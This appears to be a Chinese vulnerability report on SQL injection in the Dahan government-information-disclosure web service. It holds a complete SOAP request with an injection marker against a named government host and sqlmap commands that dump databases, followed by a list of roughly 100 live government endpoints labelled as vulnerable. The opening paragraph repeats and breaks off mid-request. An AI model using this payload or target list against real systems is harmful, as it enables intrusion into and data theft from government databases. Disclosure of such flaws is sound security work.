### 简要描述: 大汉政府信息公开多处SQL注入一(附100个案例) ### 详细说明: 依然是webservice漏洞,漏洞存在于 /xxgk/services/WSSync_xxgk?wsdl 该WSSync_xxgk服务的多个方法,多个参数存在严重漏洞,且该漏洞普遍存在。 wsGetWeb getClientIpAxis wsGetColumn wsGetColumnStyle wsSynchronize wsSynchronizeWithPath wsSync 上述方法的多个参数均存在漏洞,随便选取一个方法进行测试 /xxgk/services/WSSync_xxgk?wsdl wsGetColumn方法 用WSockExpert v0.7抓包,并保存为wooyun.txt ``` POST /xxgk/services/WSSync_xxgk?wsdl HTTP/1.1 Accept-Encoding: gzip,deflate Content-Type: text/xml;charset=UTF-8 SOAPAction: "" Content-Length: 222 Host: xxgk.lyg.gov.cn Connection: Keep-Alive User-Agent: google robots <soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:rec="http://receive.blf.jcms"> <soapenv:Header/> <soapenv:Body> <rec:wsGetColumn soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <strWebId xsi:type="xsd:string">1</strWebId> <strLoginId xsi:type="xsd:string">1*</strLoginId>...
### 简要描述: 大汉政府信息公开多处SQL注入一(附100个案例) ### 详细说明: 依然是webservice漏洞,漏洞存在于 /xxgk/services/WSSync_xxgk?wsdl 该WSSync_xxgk服务的多个方法,多个参数存在严重漏洞,且该漏洞普遍存在。 wsGetWeb getClientIpAxis wsGetColumn wsGetColumnStyle wsSynchronize wsSynchronizeWithPath wsSync 上述方法的多个参数均存在漏洞,随便选取一个方法进行测试 /xxgk/services/WSSync_xxgk?wsdl wsGetColumn方法 用WSockExpert v0.7抓包,并保存为wooyun.txt ``` POST /xxgk/services/WSSync_xxgk?wsdl HTTP/1.1 Accept-Encoding: gzip,deflate Content-Type: text/xml;charset=UTF-8 SOAPAction: "" Content-Length: 222 Host: xxgk.lyg.gov.cn Connection: Keep-Alive User-Agent: google robots <soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:rec="http://receive.blf.jcms"> <soapenv:Header/> <soapenv:Body> <rec:wsGetColumn soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <strWebId xsi:type="xsd:string">1</strWebId> <strLoginId xsi:type="xsd:string">1*</strLoginId> <strPwd xsi:type="xsd:string">1</strPwd> <strKey xsi:type="xsd:string">1</strKey> </rec:wsGetColumn> </soapenv:Body> </soapenv:Envelope> sqlmap.py -r wooyun.txt xxgk.lyg.gov.cn ``` [<img src="https://images.seebug.org/upload/201503/1821154776694094eb60ba9a65840a2d098b9fd2.jpg" alt="1.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/1821154776694094eb60ba9a65840a2d098b9fd2.jpg) ``` www.gs.gov.cn ``` [<img src="https://images.seebug.org/upload/201503/18211603d0fdd66fb317523c5f75a5000366264b.jpg" alt="2.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/18211603d0fdd66fb317523c5f75a5000366264b.jpg) ``` xxgk.gzwd.gov.cn ``` [<img src="https://images.seebug.org/upload/201503/182116224a6c997a909bc03d4c3bcbbfc8a0d959.jpg" alt="3.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/182116224a6c997a909bc03d4c3bcbbfc8a0d959.jpg) ``` xxgk.siyang.gov.cn ``` [<img src="https://images.seebug.org/upload/201503/18211640d57c2c58148427073fed6c271d13e4d2.jpg" alt="4.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/18211640d57c2c58148427073fed6c271d13e4d2.jpg) ``` xxgk.szzj.gov.cn ``` [<img src="https://images.seebug.org/upload/201503/182116548887a4a78306be7195621628507b1f11.jpg" alt="5.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/182116548887a4a78306be7195621628507b1f11.jpg) ``` sqlmap.py -r wooyun.txt --current-db --dbs ``` [<img src="https://images.seebug.org/upload/201503/18211738e09cb95779e10bfbfddb2fab7294298a.jpg" alt="data1.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/18211738e09cb95779e10bfbfddb2fab7294298a.jpg) ``` 由于该漏洞普遍存在,为证明漏洞的危害,同样列举100个案例: http://xxgk.zjds.gov.cn/xxgk/services/WSReceive?wsdl http://xxgk.taixing.gov.cn/xxgk/services/WSReceive?wsdl http://xxgk.jining.gov.cn/xxgk/services/WSReceive?wsdl http://www.xxgk.lg.gov.cn/xxgk/services/WSReceive?wsdl http://www.jinhua.gov.cn/xxgk/services/WSReceive?wsdl http://gongkai.sd-n-tax.gov.cn/xxgk/services/WSReceive?wsdl http://xxgk.wenzhou.gov.cn/xxgk/services/WSReceive?wsdl http://xxgk.jsgs.gov.cn/xxgk/services/WSReceive?wsdl http://xxgk.nbjiangbei.gov.cn/xxgk/services/WSReceive?wsdl http://xxgk.sdxm.gov.cn/xxgk/services/WSReceive?wsdl http://xxgk.changde.gov.cn/xxgk/services/WSReceive?wsdl http://xxgk.gygov.gov.cn/xxgk/services/WSReceive?wsdl http://xxgk.longwan.gov.cn/xxgk/services/WSReceive?wsdl http://xxgk.cqyc.gov.cn/xxgk/services/WSReceive?wsdl http://xxgk.gaomi.gov.cn:82/xxgk/services/WSReceive?wsdl http://www.huzhou.gov.cn/xxgk/services/WSReceive?wsdl http://xxgk.zaozhuang.gov.cn/xxgk/services/WSReceive?wsdl http://xxgk.lucheng.gov.cn/xxgk/services/WSReceive?wsdl http://zfxxgk.weihai.gov.cn/xxgk/services/WSReceive?wsdl http://218.94.123.47/xxgk/services/WSReceive?wsdl http://xxgk.yiyuan.gov.cn/xxgk/services/WSReceive?wsdl http://xxgk.zhucheng.gov.cn/xxgk/services/WSReceive?wsdl http://www.nanxun.gov.cn/xxgk/services/WSReceive?wsdl http://xxgk.xiaogan.gov.cn/xxgk/services/WSReceive?wsdl http://xxgk.zibo.gov.cn/xxgk/services/WSReceive?wsdl http://xxgk.lyg.gov.cn/xxgk/services/WSReceive?wsdl http://211.138.126.163/xxgk/services/WSReceive?wsdl http://xxgk.wencheng.gov.cn/xxgk/services/WSReceive?wsdl http://zfxxgk.liaocheng.gov.cn/xxgk/services/WSReceive?wsdl http://www.jsforestry.gov.cn/xxgk/services/WSReceive?wsdl http://60.190.68.201:7001/xxgk/services/WSReceive?wsdl http://xxgk.shizhong.gov.cn/xxgk/services/WSReceive?wsdl http://xxgk.gzlps.gov.cn/xxgk/services/WSReceive?wsdl http://xxgk.jingning.gov.cn/xxgk/services/WSReceive?wsdl http://blxxgk.bl.gov.cn/xxgk/services/WSReceive?wsdl http://xxgk.qingzhou.gov.cn/xxgk/services/WSReceive?wsdl http://xxgk.panxian.gov.cn/xxgk/services/WSReceive?wsdl http://www.dongtai.gov.cn/xxgk/services/WSReceive?wsdl http://xxgk.shanghe.gov.cn/xxgk/services/WSReceive?wsdl http://xxgk.cncn.gov.cn/xxgk/services/WSReceive?wsdl http://xxgk.gzwd.gov.cn/xxgk/services/WSReceive?wsdl http://www.hzgjj.gov.cn/xxgk/services/WSReceive?wsdl http://xxgk.siyang.gov.cn/xxgk/services/WSReceive?wsdl http://xxgk.zjwy.gov.cn/xxgk/services/WSReceive?wsdl http://xxgk.tianqiao.gov.cn/xxgk/services/WSReceive?wsdl http://218.2.208.145/xxgk/services/WSReceive?wsdl http://xxgk.jc.gansu.gov.cn/xxgk/services/WSReceive?wsdl http://xxgk.wzrc.net/xxgk/services/WSReceive?wsdl http://xxgk.hbjs.gov.cn/xxgk/services/WSReceive?wsdl http://xxgk.jiangyan.gov.cn/xxgk/services/WSReceive?wsdl http://xxgk.jingjiang.gov.cn/xxgk/services/WSReceive?wsdl http://xxgk.changle.gov.cn:82/xxgk/services/WSReceive?wsdl http://xxgk.szzj.gov.cn/xxgk/services/WSReceive?wsdl http://xxgk.stats-sd.gov.cn/xxgk/services/WSReceive?wsdl http://xxgk.hg.gov.cn/xxgk/services/WSReceive?wsdl http://www.zjdlr.gov.cn/xxgk/services/WSReceive?wsdl http://xxgk.yj.gov.cn/xxgk/services/WSReceive?wsdl http://xxgk.yqjq.gov.cn/xxgk/services/WSReceive?wsdl http://zfxxgk.heze.gov.cn/xxgk/services/WSReceive?wsdl http://xxgk3.nantong.gov.cn/xxgk/services/WSReceive?wsdl http://www.jsgl.cn/xxgk/services/WSReceive?wsdl http://www.zjch.gov.cn/xxgk/services/WSReceive?wsdl http://xxgk.yidu.gov.cn/xxgk/services/WSReceive?wsdl http://xxgk.jsmuseum.com/xxgk/services/WSReceive?wsdl http://www.77778.com/xxgk/services/WSReceive?wsdl http://xxgk.pingyin.gov.cn/xxgk/services/WSReceive?wsdl http://www.jshb.net/xxgk/services/WSReceive?wsdl http://zfxxgk.seac.gov.cn/xxgk/services/WSReceive?wsdl http://xxgk.tx.gov.cn/xxgk/services/WSReceive?wsdl http://www.dejiang.gov.cn/xxgk/services/WSReceive?wsdl http://xxgk.yq.gov.cn/xxgk/services/WSReceive?wsdl http://www.ec.js.edu.cn/xxgk/services/WSReceive?wsdl http://www.njzj.gov.cn/xxgk/services/WSReceive?wsdl http://xxgk.zjpy.gov.cn/xxgk/services/WSReceive?wsdl http://www.gaoqing.gov.cn/xxgk/services/WSReceive?wsdl http://xxgk.czzl.gov.cn/xxgk/services/WSReceive?wsdl http://xxgk.liuzhi.gov.cn/xxgk/services/WSReceive?wsdl http://xxgk.sx.gov.cn/xxgk_public/services/WSReceive?wsdl http://xxgk.10.gov.cn/gov/services/WSReceive?wsdl http://xxgk.ycxl.gov.cn/gov/services/WSReceive?wsdl http://xxgk.changyang.gov.cn/gov/services/WSReceive?wsdl http://xxgk.haiyan.gov.cn/gov/services/WSReceive?wsdl http://open.jiashan.gov.cn/gov/services/WSReceive?wsdl http://xxgk.yichang.gov.cn/gov/services/WSReceive?wsdl http://xxgk.dyq.gov.cn/gov/services/WSReceive?wsdl http://xxgk.xingshan.gov.cn/gov/services/WSReceive?wsdl http://xxgk.kuiwen.gov.cn/gov/services/WSReceive?wsdl http://xxgk.hbwf.gov.cn/gov/services/WSReceive?wsdl http://www.wuxing.gov.cn/gov/services/WSReceive?wsdl http://61.159.149.203:9080/gov/services/WSReceive?wsdl http://xxgk.dianjun.gov.cn/gov/services/WSReceive?wsdl http://211.138.126.163:7003/gov/services/WSReceive?wsdl http://xxgk.zrt.gov.cn/gov/services/WSReceive?wsdl http://220.191.221.136/gov/services/WSReceive?wsdl http://119.191.58.141/gov/services/WSReceive?wsdl http://zfxxgk.dongying.gov.cn/gov/services/WSReceive?wsdl http://xxgk.hbdy.gov.cn/gov/services/WSReceive?wsdl http://xxgk.yuanan.gov.cn/gov/services/WSReceive?wsdl http://xxgk.lijin.gov.cn/gov/services/WSReceive?wsdl http://xxgk.sdfda.gov.cn/gov/services/WSReceive?wsdl ``` ### 漏洞证明: SQLMAP跑出的数据,速度还是比较快的: [<img src="https://images.seebug.org/upload/201503/18211847bd1ae42f2c20c1533d6e8959aa6090ee.jpg" alt="data2.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/18211847bd1ae42f2c20c1533d6e8959aa6090ee.jpg)